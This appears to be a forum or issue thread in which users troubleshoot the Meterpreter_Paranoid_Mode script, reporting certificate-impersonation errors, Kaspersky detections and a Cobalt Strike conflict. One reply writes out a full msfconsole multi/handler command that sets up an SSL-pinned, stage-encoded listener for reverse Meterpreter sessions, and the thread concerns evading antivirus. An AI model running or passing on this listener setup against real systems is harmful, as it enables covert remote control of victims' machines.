se que parece que no tiene nada que ver, pero ahora tengo conflicto con ejecutar cobaltstrike por el certificado que genera el Meterpreter_Paranoid_Mode, algun consejo?

Detected by kspky
once I'm connected to meterpreter kspky AV detect the meterpreter calls

Im trying to use MPM and after i select impersonate i type the domain and MPM does download the pem file etc.. but just after that it says:

[x] Certificate: google.com.pem not found, aborting...

and it exits. any idea?

The .pem files are being save at /home/user/.msf4/ as supossed to <-- 👍

This might be a stupid problem but when I press "enter", the program says "Cancel button, aborting.." and closes. What am I doing wrong?

Delete all xterm commands from Meterpreter_Paranoid_Mode.sh

with XTERM:

xterm -T "MPM - MULTI-HANDLER" -geometry 124x26 -e "msfconsole -q -x 'use exploit/multi/handler; set PAYLOAD $paylo; set LHOST $LhOsT; set LPORT $LpOrT; set HandlerSSLCert $IPATH/output/$N4M3.pem; set StagerVerifySSLCert true; set EnableUnicodeEncoding $VaL; set EnableStageEncoding $StAgE; set StageEncoder $ENCODE; set AutoRunScript $PoSt; exploit'"

without XTERM:

msfconsole -q -x "use exploit/multi/handler; set PAYLOAD $paylo; set LHOST $LhOsT; set LPORT $LpOrT; set HandlerSSLCert $IPATH/output/$N4M3.pem; set StagerVerifySSLCert true; set EnableUnicodeEncoding $VaL; set EnableStageEncoding $StAgE; set StageEncoder $ENCODE; set AutoRunScript $PoSt; exploit"

-- Correction fix --

replace main script (Meterpreter_Paranoid_Mode.sh) by this one